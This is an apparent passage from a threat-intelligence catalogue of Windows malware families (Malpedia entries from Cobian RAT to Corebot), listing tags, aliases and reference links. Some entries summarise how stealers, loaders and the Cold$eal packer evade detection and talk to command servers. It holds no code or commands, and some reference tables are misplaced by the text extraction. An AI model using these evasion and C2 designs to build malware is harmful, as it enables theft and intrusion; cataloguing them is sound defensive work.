<td><a href="https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/">https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/03/31/continuation-methods-and-techniques-observed-in-operations-post-the-leaks/">https://research.nccgroup.com/2022/03/31/continuation-methods-and-techniques-observed-in-operations-post-the-leaks/</a></td>
</tr>
</tbody>
</table>
Cobian RAT

The tag is: misp-galaxy:malpedia="Cobian RAT"

Cobian RAT is also known as:

Table 2736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html">https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/">https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
</tbody>
</table>

CobInt

CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager. It's CRM mailslot module was also observed being downloaded by ISFB.

The tag is: misp-galaxy:malpedia="CobInt"

CobInt is also known as:

• COOLPANTS
Cobra Carbon System

The tag is: `misp-galaxy:malpedia="Cobra Carbon System"`

Cobra Carbon System is also known as:

- Carbon

### Table 2737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint">https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint</a></td>
</tr>
<tr>
<td><a href="https://www.group-ib.com/blog/renaissance">https://www.group-ib.com/blog/renaissance</a></td>
</tr>
<tr>
<td><a href="https://www.netscout.com/blog/asert/double-infection-double-fun">https://www.netscout.com/blog/asert/double-infection-double-fun</a></td>
</tr>
<tr>
<td><a href="https://asert.arbornetworks.com/double-the-infection-double-the-fun/">https://asert.arbornetworks.com/double-the-infection-double-the-fun/</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-kingswood">http://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-kingswood">https://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
</tbody>
</table>

### Table 2738. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra">https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/">https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra">https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra</a></td>
</tr>
<tr>
<td><a href="https://docs.broadcom.com/doc/waterbug-attack-group">https://docs.broadcom.com/doc/waterbug-attack-group</a></td>
</tr>
<tr>
<td><a href="https://www.circl.lu/pub/tr-25/">https://www.circl.lu/pub/tr-25/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a</a></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/TDL">https://github.com/hfiref0x/TDL</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/65545/the-epic-turla-operation/">https://securelist.com/analysis/publications/65545/the-epic-turla-operation/</a></td>
</tr>
</tbody>
</table>
CockBlocker

The tag is: *misp-galaxy:malpedia*="CockBlocker"

CockBlocker is also known as:

Table 2739. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.cockblocker
- https://twitter.com/JaromirHorejsi/status/817311664391524352

CodeKey

The tag is: *misp-galaxy:malpedia*="CodeKey"

CodeKey is also known as:

Table 2740. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.codekey

CodeCore

Ransomware.

The tag is: *misp-galaxy:malpedia*="CodeCore"

CodeCore is also known as:

Table 2741. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.code_core
- https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a
Cohhoc

The tag is: misp-galaxy:malpedia="Cohhoc"

Cohhoc is also known as:

Table 2742. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc
https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf

Coinminer

Coinminer is an unwanted malicious software which uses the victim’s computational power (CPU and RAM mostly) to mine for coins (for example Monero or Zcash). The malware achieves persistence by adding one of the opensource miners on startup without the victim’s consensus. Most sophisticated coin miners use timer settings or cap the CPU usage in order to remain stealthy.

The tag is: misp-galaxy:malpedia="Coinminer"

Coinminer is also known as:

Table 2743. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer
https://www.triskelelabs.com/investigating-monero-coin-miner
https://secrary.com/ReversingMalware/CoinMiner/
https://thedefirreport.com/2021/01/18/all-that-for-a-coinminer/
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

coldbrew

The tag is: misp-galaxy:malpedia="coldbrew"

coldbrew is also known as:

Table 2744. Table References

Links
ColdLock

The tag is: misp-galaxy:malpedia="ColdLock"

ColdLock is also known as:

Table 2745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.coldlock">https://malpedia.caad.fkie.fraunhofer.de/details/win.coldlock</a></td>
</tr>
</tbody>
</table>

Cold$eal

Cold$eal is a packer for encrypting (sealing) malware. It contains some AV-evasion techniques as well as some sandbox-detection. It was developed by $@dok (aka Sadok aka Coldseal). It was available as a cryptor service under the url coldseal.us and was later sold as a toolkit consisting of the cryptor and a custom made cryptostub including a FuD guarantee backed by free update to the cryptostub. The payload was encrypted using RC4 and added to the cryptostub as a resource. The encryption key itself was stored inside the resource as well. Upon start the cryptostub would extract the key, decrypt the payload and perform a selfinjection using the now decrypted payload. Note: The packed sample provided contains some harmless payload, while the unpacked sample is the bare cryptostub without a payload.

The tag is: misp-galaxy:malpedia="Cold$eal"

Cold$eal is also known as:

- ColdSeal

Table 2746. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal">https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal</a></td>
</tr>
<tr>
<td><a href="https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html">https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=242Tn0IL2jE">https://www.youtube.com/watch?v=242Tn0IL2jE</a></td>
</tr>
<tr>
<td><a href="https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html">https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html</a></td>
</tr>
</tbody>
</table>
ColdStealer

ColdStealer is a relatively new malicious program that was discovered in 2022. Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. When the infostealer collects information that will be stolen, it saves the information in the ZIP form instead of files in the memory. Doing so will allow the malware to bypass detection as there are no traces of files and execution. The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to the hardcoded command and control (C2) server.

The tag is: `misp-galaxy:malpedia="ColdStealer"`

ColdStealer is also known as:

Table 2747. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/31703/">https://asec.ahnlab.com/ko/31703/</a></td>
</tr>
</tbody>
</table>

Colibri Loader

According to cloudsek, Colibri Loader is a form of malware designed to facilitate the installation of additional malware types on an already compromised system. This loader employs various techniques to evade detection, such as excluding the Import Address Table (IAT) and utilizing encrypted strings to complicate analysis. Similar to other loader malware, Colibri can be utilized to deploy information-stealing malware, potentially leading to significant loss of sensitive data. As a result, users should exercise caution when encountering unfamiliar files on their systems.

The tag is: `misp-galaxy:malpedia="Colibri Loader"`

Colibri Loader is also known as:

Table 2748. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri">https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri</a></td>
</tr>
<tr>
<td><a href="https://github.com/Casperinous/colibri_loader">https://github.com/Casperinous/colibri_loader</a></td>
</tr>
</tbody>
</table>
Collection RAT

The tag is: misp-galaxy:malpedia="Collection RAT"

Collection RAT is also known as:

Table 2749. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/lazarus-collectionrat/">https://blog.talosintelligence.com/lazarus-collectionrat/</a></td>
</tr>
</tbody>
</table>

CollectorGoomba

The tag is: misp-galaxy:malpedia="CollectorGoomba"

CollectorGoomba is also known as:

- Collector Stealer

Table 2750. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba">https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html">https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html</a></td>
</tr>
</tbody>
</table>

Colony

The tag is: misp-galaxy:malpedia="Colony"

Colony is also known as:

- Bandios
- GrayBird

Table 2751. Table References
Combojack

The tag is: misp-galaxy:malpedia="Combojack"

Combojack is also known as:

Table 2752. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack">https://malpedia.caad.fkie.fraunhofer.de/details/win.combojack</a></td>
</tr>
</tbody>
</table>

Combos

The tag is: misp-galaxy:malpedia="Combos"

Combos is also known as:

Table 2753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.combos">https://malpedia.caad.fkie.fraunhofer.de/details/win.combos</a></td>
</tr>
</tbody>
</table>

ComeBacker

ComeBacker was found in a backdoored Visual Studio project that was used to target security researchers in Q4 2020 and early 2021.

It is an HTTP(S) downloader.

It uses the AES CBC cipher implemented through the OpenSSL’s EVP interface for decryption of its configuration, and also for encryption and decryption of the client-server communication.

The parameter names in HTTP POST requests of the client are generated randomly. As the initial connection, the client exchanges the keys with the server via the Diffie–Hellman key agreement protocol for the elliptic curve secp521r1. The client generates a random 32-bytes long private key, and the server responds with its public key in a buffer starting with the wide character “0”.

1114
Next, the client sends the current local time, and the server responds with a buffer containing multiple values separated with the pipe symbol. The typical values are the encrypted payload, the export to execute, and the MD5 hash of the decrypted DLL to verify the authenticity of the payload.

There are variants of ComeBacker without statically linked OpenSSL. In that case, the key exchange is omitted and AES CBC is replaced with HC-256.

The tag is: `misp-galaxy:malpedia="ComeBacker"`

ComeBacker is also known as:

Table 2754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker">https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker</a></td>
</tr>
<tr>
<td><a href="http://blog.nsfocus.net/stumbzarus-apt-lazarus/">http://blog.nsfocus.net/stumbzarus-apt-lazarus/</a></td>
</tr>
<tr>
<td><a href="https://www.anquanke.com/post/id/230161">https://www.anquanke.com/post/id/230161</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/">https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/</a></td>
</tr>
</tbody>
</table>

**Comfoo**

The tag is: `misp-galaxy:malpedia="Comfoo"`

Comfoo is also known as:

Table 2755. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ComLook**

ComLook is a malicious plugin for the mail client "The Bat!", written in C++ and compiled with MSVC 10.0. It implements malicious commands like PutFile, GetFile, SetConfig, GetConfig, and Command. It contains hard-coded email addresses and other information, indicating a target in Azerbaijan. It was first uploaded to VirusTotal on January 12, 2022, and is associated with the APT group Turla. It appears to be a targeted deployment.
The tag is: *misp-galaxy:malpedia="ComLook"

ComLook is also known as:

**Table 2756. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook">https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ClearskySec/status/1484211242474561540">https://twitter.com/ClearskySec/status/1484211242474561540</a></td>
</tr>
<tr>
<td><a href="https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook">https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook</a></td>
</tr>
</tbody>
</table>

**CommonMagic**

The tag is: *misp-galaxy:malpedia="CommonMagic"

CommonMagic is also known as:

**Table 2757. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic">https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cloudwizard-apt/109722/">https://securelist.com/cloudwizard-apt/109722/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/bad-magic-apt/109087/?s=31">https://securelist.com/bad-magic-apt/109087/?s=31</a></td>
</tr>
</tbody>
</table>

**ComodoSec**

The tag is: *misp-galaxy:malpedia="ComodoSec"

ComodoSec is also known as:

**Table 2758. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec">https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec</a></td>
</tr>
<tr>
<td><a href="https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt">https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt</a></td>
</tr>
</tbody>
</table>

**COMpfun**

The tag is: *misp-galaxy:malpedia="COMpfun"

COMpfun is also known as:

- Reductor RAT

**Table 2759. Table References**
**Computrace**

The tag is: *misp-galaxy:malpedia=*"Computrace"*

Computrace is also known as:

- lojack

*Table 2760. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace">https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html">https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html</a></td>
</tr>
<tr>
<td><a href="https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/">https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/</a></td>
</tr>
<tr>
<td><a href="https://asert.arbornetworks.com/lojack-becomes-a-double-agent/">https://asert.arbornetworks.com/lojack-becomes-a-double-agent/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
</tbody>
</table>

**ComradeCircle**

The tag is: *misp-galaxy:malpedia=*"ComradeCircle"*

ComradeCircle is also known as:

*Table 2761. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle">https://malpedia.caad.fkie.fraunhofer.de/details/win.comrade_circle</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/816926371867926528">https://twitter.com/struppigel/status/816926371867926528</a></td>
</tr>
</tbody>
</table>

**concealment_troy**

The tag is: *misp-galaxy:malpedia=*"concealment_troy"*

concealment_troy is also known as:
Table 2762. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy">https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy</a></td>
</tr>
</tbody>
</table>

**Conficker**

The tag is: `misp-galaxy:malpedia="Conficker"`

Conficker is also known as:

- Kido
- downadup
- traffic converter

Table 2763. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker">https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-january-2022/">https://redcanary.com/blog/intelligence-insights-january-2022/</a></td>
</tr>
<tr>
<td><a href="https://github.com/tillmannw/cnfckr">https://github.com/tillmannw/cnfckr</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2009/05/win32conficker.html">http://contagiodump.blogspot.com/2009/05/win32conficker.html</a></td>
</tr>
</tbody>
</table>

**Confucius**

The tag is: `misp-galaxy:malpedia="Confucius"`

Confucius is also known as:

Table 2764. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Conti (Windows)

Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.

The tag is: `misp-galaxy:malpedia="Conti (Windows)"`

Conti (Windows) is also known as:

Table 2765. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.conti
- https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/
- https://www.bankinfosecurity.com/cybercrime-movesconti-ransomware-absorbs-trickbot-malware-a-18573
- https://thedfirreport.com/2021/05/12/conti-ransomware/
- https://github.com/whichbuffer/Conti-Ransomware-IOC
<table>
<thead>
<tr>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://intel471.com/blog/conti-emotet-ransomware-conti-leaks">https://intel471.com/blog/conti-emotet-ransomware-conti-leaks</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/">https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://share.vx-underground.org/Conti/">https://share.vx-underground.org/Conti/</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/">https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf">https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/">https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8">https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8</a></td>
</tr>
<tr>
<td><a href="https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/">https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AltShiftPrtScn/status/1417849181012647938">https://twitter.com/AltShiftPrtScn/status/1417849181012647938</a></td>
</tr>
<tr>
<td><a href="http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/">http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/</a></td>
</tr>
<tr>
<td><a href="https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months">https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/">https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-265a">https://us-cert.cisa.gov/ncas/alerts/aa21-265a</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html">https://cocomelonc.github.io/investigation/2022/03/27/malw-inv-conti-1.html</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/ransomware-graphic-blog">https://www.ironnet.com/blog/ransomware-graphic-blog</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider">https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider</a></td>
</tr>
<tr>
<td><a href="https://github.com/cdong1012/ContiUnpacker">https://github.com/cdong1012/ContiUnpacker</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/modern-ransomware-groups-ttps/106824/">https://securelist.com/modern-ransomware-groups-ttps/106824/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/">https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/</a></td>
</tr>
<tr>
<td><a href="https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel">https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65">https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65</a></td>
</tr>
<tr>
<td><a href="https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/">https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmissarySpider/ransomware-descendants">https://github.com/EmissarySpider/ransomware-descendants</a></td>
</tr>
<tr>
<td><a href="https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide">https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide</a></td>
</tr>
<tr>
<td><a href="https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74">https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74</a></td>
</tr>
<tr>
<td><a href="https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed">https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fb7a4e79">https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fb7a4e79</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=cYx7sQRbjGA">https://www.youtube.com/watch?v=cYx7sQRbjGA</a></td>
</tr>
<tr>
<td><a href="https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/">https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-----</td>
</tr>
<tr>
<td><a href="https://twitter.com/TheDFIRReport/status/1498642512935800833">https://twitter.com/TheDFIRReport/status/1498642512935800833</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf">https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=uORuVVQzZ0A">https://www.youtube.com/watch?v=uORuVVQzZ0A</a></td>
</tr>
<tr>
<td><a href="https://arcticwolf.com/resources/blog/karakurt-web">https://arcticwolf.com/resources/blog/karakurt-web</a></td>
</tr>
<tr>
<td><a href="https://www.prevailion.com/what-wicked-webs-we-unweave/">https://www.prevailion.com/what-wicked-webs-we-unweave/</a></td>
</tr>
<tr>
<td><a href="https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve">https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=hmaWy9QIC7c">https://www.youtube.com/watch?v=hmaWy9QIC7c</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware">https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b">https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/conti-ransomware-gang/">https://unit42.paloaltonetworks.com/conti-ransomware-gang/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-november-2021/">https://redcanary.com/blog/intelligence-insights-november-2021/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/">https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape">https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/conti-leaks-cybercrime-fire-team">https://intel471.com/blog/conti-leaks-cybercrime-fire-team</a></td>
</tr>
</tbody>
</table>
Contopee

FireEye described this malware as a proxy-aware backdoor that communicates using a custom-encrypted binary protocol. It may use the registry to store optional configuration data. The backdoor has been observed to support 26 commands that include directory traversal, file system manipulation, data archival and transmission, and command execution.

The tag is: misp-galaxy:malpedia="Contopee"

Contopee is also known as:

- WHITEOUT

Table 2766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee">https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

CookieBag

The tag is: misp-galaxy:malpedia="CookieBag"

CookieBag is also known as:

Table 2767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag">https://malpedia.caad.fkie.fraunhofer.de/details/win.cookiebag</a></td>
</tr>
</tbody>
</table>
CopperStealer

According to PCRIsk, CopperStealer, also known as Mingloa, is a malicious program designed to steal sensitive/personal information. It also has the capability to cause chain infections (i.e., download/install additional malware).

Significant activity of CopperStealer has been observed in Brazil, India, Indonesia, Pakistan, and the Philippines. At the time of research, this malware had been noted being spread via websites offering illegal activation tools ("cracks") for licensed software products.

The tag is: *misp-galaxy:malpedia="CopperStealer"*

CopperStealer is also known as:

- Mingloa

### Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Corebot

The tag is: *misp-galaxy:malpedia="Corebot"*

Corebot is also known as:

### Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/ecrime-ecosystem/">https://www.crowdstrike.com/blog/ecrime-ecosystem/</a></td>
</tr>
<tr>
